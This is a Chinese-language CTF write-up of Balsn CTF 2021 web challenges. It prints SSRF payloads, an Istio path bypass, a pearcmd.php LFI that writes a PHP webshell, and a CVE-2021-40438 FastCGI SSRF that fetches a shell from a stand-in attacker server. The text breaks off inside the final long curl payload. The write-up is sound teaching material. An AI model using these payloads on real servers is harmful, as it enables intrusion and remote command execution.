Balsn CTF 2021 WriteUps

發表於
分類於 CTF

和 Goburin' 一起參加了 Balsn CTF 2021 拿第三名,這次我主要解了 web,其他的話 misc 解掉一題,rev 解半題。

  排行榜截圖

Web

Proxy

這題一進去就告訴你 /query?site=[your website],所以就開始來試試看 SSRF 可以碰到什麼東西。測試一下 file:///proc/self/environ 可以讀到東西,從裡面知道題目是 python 寫的,然後有用 k8s 且還有個隱藏服務在 10.44.3.240:39307 的位置。

直接 SSRF 10.44.3.240:39307 會失敗,不過可以在 file:///proc/self/cwd/main.py 找到 source code:

import urllib.request

from flask import Flask, request

app = Flask(__name__)


@app.route("/meow")
def meow():
    return 'meow?'


@app.route("/query")
def query():
    site = request.args.get('site')
    text = urllib.request.urlopen(site, timeout=5).read()
    return text


@app.route("/")
def hello_world():
    return "/query?site=[your website]"


if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=8000)

非常簡單,就 Python urllib.request.urlopen 的 SSRF 而已。有個 /meow 直接存取的話會得到 RBAC: access denied,但是 SSRF http://localhost:8000/meow 就很正常。查一下錯誤訊息可以知道好像是某個叫 Istio 的東西在作怪。不過我們一開始就卡在這邊不知道怎麼繼續。

後來 Allen 從 file:///proc/net/tcp 找出了 port 15000,而 http://127.0.0.1:15000 也可以看到有個 Envoy Admin

之後我在上面找到了 http://127.0.0.1:15000/config_dump,裡面有一段很可疑的段落:

        "name": "secret-service-20a91e.default.svc.cluster.local:39307",
        "domains": [
         "secret-service-20a91e.default.svc.cluster.local",
         "secret-service-20a91e.default.svc.cluster.local:39307",
         "secret-service-20a91e",
         "secret-service-20a91e:39307",
         "secret-service-20a91e.default.svc.cluster",
         "secret-service-20a91e.default.svc.cluster:39307",
         "secret-service-20a91e.default.svc",
         "secret-service-20a91e.default.svc:39307",
         "secret-service-20a91e.default",
         "secret-service-20a91e.default:39307",
         "10.44.3.240",
         "10.44.3.240:39307"
        ],

SSRF 其中一個 http://secret-service-20a91e:39307/ 會看到它說 here is your flag: /flag,只是 SSRF http://secret-service-20a91e:39307/flag 卻會直接錯誤。測試了一下感覺也是那什麼 Istio 在作怪,不過隨便在 path 的地方加上了一個 / 就過了: http://secret-service-20a91e:39307//flag

Flag: BALSN{default_istio_service_mesh_envoy_configurations}

說真的,我完全不懂這題在做什麼,也不懂到底為什麼可以這樣解 ==

官方文件: Istio - Understand path normalization in authorization policy

2linephp

<?php ($_=$_SERVER['REQUEST_URI']) && (stripos($_,"zip") !== FALSE || stripos($_,"p:") || stripos($_,"s:")) && die("Bad hacker!");
($_=@$_GET['kaibro'].'.php') && @substr(file($_)[0],0,5) === '<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.php');

此題就只有這兩行,phpinfo.php 應該是真的 phpinfo();,因為它會隨著 request 變化。

目標就是 url 含 query string 不可包含 zip, p:s:,然後可以 LFI 任意 .php 結尾的檔案,只是開頭前 5 bytes 需要是 <?php

這題還有說 0CTF 1linephp is too hard,而那題的 writeup 主要是利用了 zip 的 extension 加上 upload progress 去 LFI zip:///tmp/sess_mysessid#shell.php 這樣的方法得到 shell 的。

只是這題從 phpinfo.php 可以看出它沒有安裝 zip extension。我一開始就在這邊卡了一段時間。

後來和 0CTF 1linephp 仔細比較一下可以看出一些端倪:

<?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');

1linephp 要求開頭是 @<?php,但是這題要求 <?php,測試了一下可以知道 ?kaibro=index 可以成功讓它遞迴 include 到記憶體爆炸。?kaibro=phpinfo 也是預期中的結果。

可能會覺得只有 index.phpphpinfo.php 兩個檔案有什麼用,只是這個其實是解題關鍵之一。可以按照它的版本自己在 local 跑 docker 起來看看:

FROM php:7.4.11-apache  # same as 0CTF 1linephp

COPY src/ /var/www/html/

之後進入 container 裡面自己跑跑看 grep -rnw '^<?php',可以發現在 /usr/local/php 底下有一堆符合的檔案,其中一個很關鍵的是 /usr/local/lib/php/pearcmd.php 看了就有點可疑。

去網路上查一下關於 pearcmd 可以找到這篇,裡面有幾個比較重要的資訊在:

register_argc_argv 有開啟的話(docker 版本正好預設有開)可以自動把 query string 轉換成 argv:

<?php
var_dump($_SERVER['argv']);

// querystring: ?a+b
// $_SERVER['argv'][0] === 'a'
// $_SERVER['argv'][1] === 'b'

pearcmd.php 是 php 的 PEAR package manager 的 CLI,裡面會從 argv 讀取參數。當 argv 是我們遠端可控的時候就有了一些利用的機會。

裡面大致上是介紹了兩個用法,一個是從遠端下載檔案到 local:

pear install -R /tmp http://xxxxxxx/shell.php

下載的檔名實際上是會看 Content-Disposition 決定的

另一個用法是從參數中直接寫入檔案:

pear -c /tmp/peko.php -d man_dir=miko -s

上面的指令會讓 /tmp/peko.php 的內容為:

#PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:4:"miko";}

雖然第一個看起來比較簡單,只是前面有 p: s: 應該就是為了擋這個用法的 (http://, https://),所以我這邊採用的是第二個。

只是寫入之後還需要讓檔案開頭變成 <?php 才行,這邊的問題就很類似最初 Orange 的 One Line PHP Challenge 遇到的問題。方法就是利用 php://filter/ 套一套解決。

首先是 php base64 decode 會自動忽略掉非 base64 的字元,測試一下可以發現這個檔案 base64 decode 之後第一個字元很剛好的會是 <,此時就會想說是不是能湊個 > 然後用 string.strip_tags 把它們去掉。

一個要處裡的小問題是它還要符合 base64 decode 的原理,需要讓它 padding 到適當的位置去才行,我這邊是這樣生成 payload 的:

from base64 import *

# file format:
"""
#PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:9:"PLACEHOLDER";}
"""

payload = b'<?php system($_GET["cmd"]);'
enc = b64encode(payload)
print(b64encode(b'aaa>'+enc+b'<aa'))

這樣它第一次 base64 decode 會得到 <garbage>base64<garbage,經過 string.strip_tags 會變成 base64,再次 decode 得到 <?php system($_GET["cmd"]); 就是我們的目標。

所以用下面的方法對 /tmp/maple3142.php 寫入 shell:

http://2linephp1.balsnctf.com:50080/?kaibro=/usr/local/lib/php/pearcmd&+-c+/tmp/maple3142.php+-d+man_dir=YWFhPlBEOXdhSEFnYzNsemRHVnRLQ1JmUjBWVVd5SmpiV1FpWFNrNzxhYQ+-s+

接下來就能執行指令讀 flag:

http://2linephp1.balsnctf.com:50080/?kaibro=ph%70://filter/convert.base64-decode/string.strip_tags/convert.base64-decode/resource=/tmp/maple3142&cmd=/readflag

p: 很好繞,直接 %70: 就能過了。之所以 http://p: 不能這樣繞的原因似乎是因為 argv 的部份和 $_GET 不一樣,不會 url decode

Flag: BALSN{1linephp_1s_tooo_hard:(}

這題的 intended 似乎是要自己弄 pear 的 channel 出來

0linephp

這題有兩個 container,apache 和 php 是分開的。

php 部份是:

FROM php:7.4.24-fpm

RUN chmod 555 /var/www/html
RUN chown root:root /var/www/html

有個 index.php,而裡面真的是空的 (0 line)。

apache 使用的 config 是:

LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_fcgi_module modules/mod_proxy_fcgi.so

DirectoryIndex disabled
DirectoryIndex index.php
ProxyErrorOverride on

RewriteEngine on
RewriteCond %{QUERY_STRING} php
RewriteRule ^(.*)$ /404

ProxyPassMatch ^/(.*\.php(/.*)?)$ "fcgi://php:9000/var/www/html/" noquery nocanon disablereuse=on

建議: 如果要在 local 測試可以把 ProxyErrorOverride 設為 off

使用的 docker 為:

FROM httpd:2.4.48

RUN echo 'Include conf/extra/proxy-php.conf' >> /usr/local/apache2/conf/httpd.conf

docker-compose.yml:

version: '3.9'

services:
  apache:
    build: apache
    volumes:
      - ./apache/proxy-php.conf:/usr/local/apache2/conf/extra/proxy-php.conf:ro
    ports:
      - 80:80
  php:
    build: php
    volumes:
      - ./php/index.php:/var/www/html/index.php:ro

解題的第一個關鍵是 apache 版本 2.4.48,有在關注的話可能會知道不久前 apache 有一些比較大的 CVE 出現,像是 path traversal 之類的。查了一下會知道 CVE-2021-42013 的只適用於 2.4.49 和 2.4.50 而已,所以對這題沒用。

不過再找一下可以看到有個 CVE-2021-40438,它是個 mod_proxy 的 bug 可以造成 SSRF,適用於 2.4.48。

查一下可以找到 Building a POC for CVE-2021-40438 這篇文章,裡面就有了如何利用 mod_proxy_http 去 SSRF 其他的網站,不過也沒有細節的說明。

後來另外有找到了這篇 Apache mod_proxy SSRF(CVE-2021-40438)的一点分析和延伸,裡面的內容真的寫的很好,建議一定要仔細讀完裡面的講解才能比較好理解這題的作法。

雖然它裡面說 mod_proxy_fcgi 因為會 url encode 的原因沒辦法使用,不過可以看到 proxy_fcgi_canon 裡面有:

    if (apr_table_get(r->notes, "proxy-nocanon")) {
        path = url;   /* this is the raw path */
    }
    else {
        path = ap_proxy_canonenc(r->pool, url, strlen(url), enc_path, 0,
                             r->proxyreq);
    }

而此題的 apache config 的最後一行是:

ProxyPassMatch ^/(.*\.php(/.*)?)$ "fcgi://php:9000/var/www/html/" noquery nocanon disablereuse=on

因為有 nocanon,走的是上面的 if,所以不會被 url encode,有機會去 SSRF。此時如果理解了這個 CVE 應該能夠生成這個 payload 去 SSRF fastcgi:

curl --path-as-is 'http://0linephp0.balsnctf.com/unix:AAA...AAA|fcgi://php:9000/var/www/html/index.php' -v

此時應該會想說搞不好能 SSRF fcgi://php:9000/flag 看看可不可以拿到 flag,然而實際上只會得到 403 error 而已。測試了一下把 /flag 改為 /flag.php 就能成功,另外做一些實驗能大概知道 fastcgi 只能接受副檔名為 .php 結尾的檔案而已。

這個時候會發現目前的狀況和 2linephp 很像,都是 SSRF fastcgi 去 LFI .php 結尾的檔案,只是沒要求檔案開頭是什麼而已。

所以會想把前面一題的 pearcmd.php 拿出來用。不過前一題的方法不能直接照搬,因為 apache config 限制了當 query string 中包含 php 的時候一律 404:

RewriteEngine on
RewriteCond %{QUERY_STRING} php
RewriteRule ^(.*)$ /404

這邊我用的是另一個做法,install -R /tmp remote_url 的做法,在自己的 server 弄個 path 可以下載檔案,而 header 要給個 Content-Disposition: attachment; filename="shell.php"。然後讓它下載 shell 到 /tmp/tmp/pear/download/shell.php) 之後在第二個 request 讓它執行 command 即可。

第一個下載檔案的 request:

echo 是因為發現 curl 好像會對 url 做一些處裡:

echo -n $'GET /unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|fcgi://php:9000/usr/local/lib/php/pearcmd.php/?peko=miko&+install+-R+/tmp+http://YOUR_SERVER/ HTTP/1.0\r\nHost: localhost\r\n\r\n' | nc 0linephp0.balsnctf.com 80

第二個讀 flag 的 request:

curl --path-as-is 'http://0linephp0.balsnctf.com/unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA